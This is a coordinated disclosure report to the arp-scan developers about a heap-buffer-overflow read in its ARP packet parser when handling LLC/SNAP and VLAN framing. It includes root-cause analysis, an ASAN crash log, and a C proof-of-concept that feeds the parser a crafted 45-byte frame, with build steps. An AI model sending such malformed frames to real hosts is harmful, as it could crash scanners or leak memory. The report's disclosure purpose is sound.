Summary
Missing bounds checks in unmarshal_arp_pkt() when parsing 802.2 LLC/SNAP and 802.1Q VLAN framing leads to heap-buffer-overflow read.
- CWE: CWE-125: Out-of-bounds Read
- Affected: arp-scan 1.10.1-git (commit
a0466d5) and all prior versions
- CVSS 3.1:
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L (4.3 Medium)
- AV:A — Adjacent network (L2 same-segment attacker;
--readpktfromfile path would be AV:L)
- AC:L — No special conditions
- PR:N / UI:N — No privileges or interaction needed
- C:L — Low confidentiality (leaks a few bytes of adjacent memory via displayed MAC/IP fields)
- I:N — Read-only, no integrity impact
- A:L — Low availability (crashes under ASAN/guard-page allocators; on Linux live capture the over-read is masked by PACKET_MMAP ring buffer slot padding and does not crash)
Introduction
Hi developers,
I'm Sin Liang Lee, a member of Team Atlanta from Georgia Institute of Technology, winners of DARPA's AI Cyber Challenge (AIxCC). We're reaching out to submit a vulnerability report that we identified using our system, Atlantis, in your project. This effort is recommended by DARPA's initiative to apply competition technologies to real-world open source projects.
We have built an AI-enhanced CRS (Cyber Reasoning System) for automatic vulnerability detection and repair.
Looking forward to your response, and please check the details below!
Details
unmarshal_arp_pkt() parses incoming ARP reply packets by advancing a pointer cp through the buffer with sequential memcpy() calls and no internal bounds checking. The caller callback() validates only that the packet is >= 42 bytes (ETHER_HDR_SIZE + ARP_PKT_SIZE = 14 + 28), which only accounts for standard Ethernet-II framing.
When 802.2 LLC/SNAP headers are present, the parser skips 8 bytes (cp += 8) without checking remaining length. Similarly, 802.1Q VLAN parsing consumes 4 extra bytes without a check. Both paths leave insufficient data for the 28-byte ARP field extraction that follows, causing a heap-buffer-overflow read.
Crash log:
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6040000000fd at pc 0x5634f6622797 bp 0x7ffe10c35990 sp 0x7ffe10c35160
READ of size 6 at 0x6040000000fd thread T0
#0 0x5634f6622796 in __asan_memcpy (/poc+0xae796) (BuildId: eab0d85508d3e9e6af37806dddc85ff9d6590fdf)
#1 0x5634f666a5bc in unmarshal_arp_pkt /src/arp-scan/arp-scan.c:2514:4
#2 0x5634f6660a0e in main /src/poc.c:98:5
#3 0x7fb903615d8f (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: 095c7ba148aeca81668091f718047078d57efddb)
#4 0x7fb903615e3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f) (BuildId: 095c7ba148aeca81668091f718047078d57efddb)
#5 0x5634f65a0624 in _start (/poc+0x2c624) (BuildId: eab0d85508d3e9e6af37806dddc85ff9d6590fdf)
0x6040000000fd is located 0 bytes to the right of 45-byte region [0x6040000000d0,0x6040000000fd)
allocated by thread T0 here:
#0 0x5634f662346e in malloc (/poc+0xaf46e) (BuildId: eab0d85508d3e9e6af37806dddc85ff9d6590fdf)
#1 0x5634f6660912 in main /src/poc.c:84:31
#2 0x7fb903615d8f (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: 095c7ba148aeca81668091f718047078d57efddb)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/poc+0xae796) (BuildId: eab0d85508d3e9e6af37806dddc85ff9d6590fdf) in __asan_memcpy
Entry point and call flow
The vulnerability is triggered when arp-scan receives (or reads from file via --readpktfromfile) an ARP reply packet with LLC/SNAP or VLAN framing shorter than 50 bytes (LLC/SNAP) or 46 bytes (VLAN):
callback() [arp-scan.c:1853]
└─> n >= 42 check passes [arp-scan.c:1867]
└─> unmarshal_arp_pkt() [arp-scan.c:1881]
├─> Ethernet header: cp += 12 [arp-scan.c:2468-2471]
├─> VLAN check: cp += 4 [arp-scan.c:2476-2482] (if 0x8100 present)
├─> frame_type: cp += 2 [arp-scan.c:2486-2487]
├─> LLC/SNAP check: cp += 8 [arp-scan.c:2493-2494] (if 0xAA 0xAA 0x03 present)
└─> ARP field extraction [arp-scan.c:2500-2517]
└─> memcpy ar_tha (6 bytes) [arp-scan.c:2514] ← CRASH: reads past buffer
Code locations:
callback() — pcap callback, validates minimum size
unmarshal_arp_pkt() — packet parser, no internal bounds checks
- LLC/SNAP skip —
cp += 8 with no remaining-length check
- VLAN skip —
cp += 4 with no remaining-length check
- Crash site —
memcpy(&(arp_pkt->ar_tha), cp, sizeof(arp_pkt->ar_tha)); reads past buffer
Root cause
The 42-byte minimum check in callback() only accounts for Ethernet-II framing (14 header + 28 ARP). It does not account for:
- LLC/SNAP: +8 bytes overhead → minimum should be 50 bytes
- VLAN: +4 bytes (TPID + TCI) + 2 bytes (frame_type) → minimum should be 46 bytes
- VLAN + LLC/SNAP: +12 bytes → minimum should be 54 bytes
The vulnerable code at arp-scan.c:2493-2496:
if (*cp == 0xAA && *(cp+1) == 0xAA && *(cp+2) == 0x03) {
cp += 8; /* Skip eight bytes — BUG: no check that 8+ bytes remain */
framing = FRAMING_LLC_SNAP;
}
After this skip, the ARP field extraction at lines 2500-2517 reads 28 bytes via sequential memcpy() calls without any remaining-length validation.
Mitigating factors
- Linux live capture: On Linux, libpcap uses
PACKET_MMAP with ~2048-byte ring buffer frame slots. The packet data sits within a much larger slot, so the over-read lands in ring buffer padding and does NOT crash. The code still reads memory it does not own (violates the pcap API contract) and leaks ring buffer contents through displayed MAC/IP fields, but is unlikely to crash during normal network scanning on Linux.
- File reads: For
--readpktfromfile, libpcap allocates buffers based on the pcap file's snaplen header. Allocator padding (glibc malloc 16-byte alignment) may absorb small over-reads. Combined VLAN+LLC/SNAP (+12 bytes overhead) can push the over-read past allocator padding.
- L2 adjacency required: Attacker must be on the same network segment. The BPF filter does accept LLC/SNAP ARP packets (
ether[14:4]=0xaaaa0300 and ether[20:2]=0x0806).
- Non-Linux platforms: On BSD, macOS, or systems with guard-page allocators, the over-read is more likely to crash.
PoC
poc.c — constructs a 45-byte LLC/SNAP packet and calls unmarshal_arp_pkt() directly:
#include "arp-scan.h"
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(void)
{
/*
* 45-byte Ethernet frame with LLC/SNAP header.
* After parsing: 12 (MACs) + 2 (type) + 8 (LLC/SNAP) = 22 consumed.
* Remaining: 45 - 22 = 23 bytes. ARP needs 28. Over-read: 5 bytes.
* Crash at memcpy(&arp_pkt->ar_tha, cp, 6) — reads 1 byte past buffer.
*/
unsigned char pkt[] = {
0x11, 0x11, 0x11, 0x11, 0x11, 0x11, /* Dest MAC */
0x22, 0x22, 0x22, 0x22, 0x22, 0x22, /* Src MAC */
0x00, 0x28, /* Type/Length */
0xAA, 0xAA, 0x03, /* LLC: triggers cp += 8 */
0x00, 0x00, 0x00, 0x08, 0x06, /* SNAP */
0x00, 0x01, /* ar_hrd */
0x08, 0x00, /* ar_pro */
0x06, /* ar_hln */
0x04, /* ar_pln */
0x00, 0x02, /* ar_op */
0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF, /* ar_sha */
0xC0, 0xA8, 0x01, 0x01, /* ar_sip */
0x11, 0x22, 0x33, 0x44, 0x55, /* ar_tha: 5 of 6 bytes */
};
size_t pkt_len = sizeof(pkt); /* 45 bytes */
unsigned char *heap_pkt = malloc(pkt_len);
if (!heap_pkt) return 1;
memcpy(heap_pkt, pkt, pkt_len);
ether_hdr frame_hdr;
arp_ether_ipv4 arpei;
unsigned char extra_data[MAX_FRAME];
size_t extra_data_len = 0;
int vlan_id = -1;
memset(&frame_hdr, 0, sizeof(frame_hdr));
memset(&arpei, 0, sizeof(arpei));
/* Triggers heap-buffer-overflow read */
unmarshal_arp_pkt(heap_pkt, pkt_len, &frame_hdr, &arpei,
extra_data, &extra_data_len, &vlan_id);
free(heap_pkt);
return 0;
}
To build and run with ASAN:
git clone --depth 1 https://github.com/royhills/arp-scan && cd arp-scan
# Save poc.c into this directory, then:
autoreconf --install && ./configure --without-libcap CC=clang
# PKGDATADIR/PKGSYSCONFDIR are normally set by Makefile; provide them manually
printf '#define PKGDATADIR "/usr/share/arp-scan"\n#define PKGSYSCONFDIR "/etc/arp-scan"\n' > pkgdefs.h
CFLAGS="-fsanitize=address -g -O1 -DHAVE_CONFIG_H -I. -include pkgdefs.h"
for f in arp-scan.c error.c format.c utils.c wrappers.c mt19937ar.c strlcpy.c link-packet-socket.c; do
[ -f "$f" ] && clang $CFLAGS -c "$f"
done
objcopy --redefine-sym main=_original_main arp-scan.o
ar rcs libarp-scan.a *.o
clang $CFLAGS -c poc.c -o poc.o
clang++ -fsanitize=address -g poc.o libarp-scan.a -lpcap -o poc
./poc
Impact
Heap-buffer-overflow read (out-of-bounds read of up to 12 bytes with combined VLAN+LLC/SNAP). On Linux live capture the over-read is masked by PACKET_MMAP ring buffer slot padding and does not crash, but reads memory the code does not own. On non-Linux platforms or with --readpktfromfile using crafted pcap files, a crash is possible.
We have a fix ready and will submit a PR referencing this issue.
Summary
Missing bounds checks in
unmarshal_arp_pkt()when parsing 802.2 LLC/SNAP and 802.1Q VLAN framing leads to heap-buffer-overflow read.a0466d5) and all prior versionsCVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L(4.3 Medium)--readpktfromfilepath would be AV:L)Introduction
Hi developers,
I'm Sin Liang Lee, a member of Team Atlanta from Georgia Institute of Technology, winners of DARPA's AI Cyber Challenge (AIxCC). We're reaching out to submit a vulnerability report that we identified using our system, Atlantis, in your project. This effort is recommended by DARPA's initiative to apply competition technologies to real-world open source projects.
We have built an AI-enhanced CRS (Cyber Reasoning System) for automatic vulnerability detection and repair.
Looking forward to your response, and please check the details below!
Details
unmarshal_arp_pkt()parses incoming ARP reply packets by advancing a pointercpthrough the buffer with sequentialmemcpy()calls and no internal bounds checking. The callercallback()validates only that the packet is >= 42 bytes (ETHER_HDR_SIZE + ARP_PKT_SIZE = 14 + 28), which only accounts for standard Ethernet-II framing.When 802.2 LLC/SNAP headers are present, the parser skips 8 bytes (
cp += 8) without checking remaining length. Similarly, 802.1Q VLAN parsing consumes 4 extra bytes without a check. Both paths leave insufficient data for the 28-byte ARP field extraction that follows, causing a heap-buffer-overflow read.Crash log:
Entry point and call flow
The vulnerability is triggered when arp-scan receives (or reads from file via
--readpktfromfile) an ARP reply packet with LLC/SNAP or VLAN framing shorter than 50 bytes (LLC/SNAP) or 46 bytes (VLAN):Code locations:
callback()— pcap callback, validates minimum sizeunmarshal_arp_pkt()— packet parser, no internal bounds checkscp += 8with no remaining-length checkcp += 4with no remaining-length checkmemcpy(&(arp_pkt->ar_tha), cp, sizeof(arp_pkt->ar_tha));reads past bufferRoot cause
The 42-byte minimum check in
callback()only accounts for Ethernet-II framing (14 header + 28 ARP). It does not account for:The vulnerable code at
arp-scan.c:2493-2496:After this skip, the ARP field extraction at lines 2500-2517 reads 28 bytes via sequential
memcpy()calls without any remaining-length validation.Mitigating factors
PACKET_MMAPwith ~2048-byte ring buffer frame slots. The packet data sits within a much larger slot, so the over-read lands in ring buffer padding and does NOT crash. The code still reads memory it does not own (violates the pcap API contract) and leaks ring buffer contents through displayed MAC/IP fields, but is unlikely to crash during normal network scanning on Linux.--readpktfromfile, libpcap allocates buffers based on the pcap file'ssnaplenheader. Allocator padding (glibcmalloc16-byte alignment) may absorb small over-reads. Combined VLAN+LLC/SNAP (+12 bytes overhead) can push the over-read past allocator padding.ether[14:4]=0xaaaa0300 and ether[20:2]=0x0806).PoC
poc.c— constructs a 45-byte LLC/SNAP packet and callsunmarshal_arp_pkt()directly:To build and run with ASAN:
Impact
Heap-buffer-overflow read (out-of-bounds read of up to 12 bytes with combined VLAN+LLC/SNAP). On Linux live capture the over-read is masked by
PACKET_MMAPring buffer slot padding and does not crash, but reads memory the code does not own. On non-Linux platforms or with--readpktfromfileusing crafted pcap files, a crash is possible.We have a fix ready and will submit a PR referencing this issue.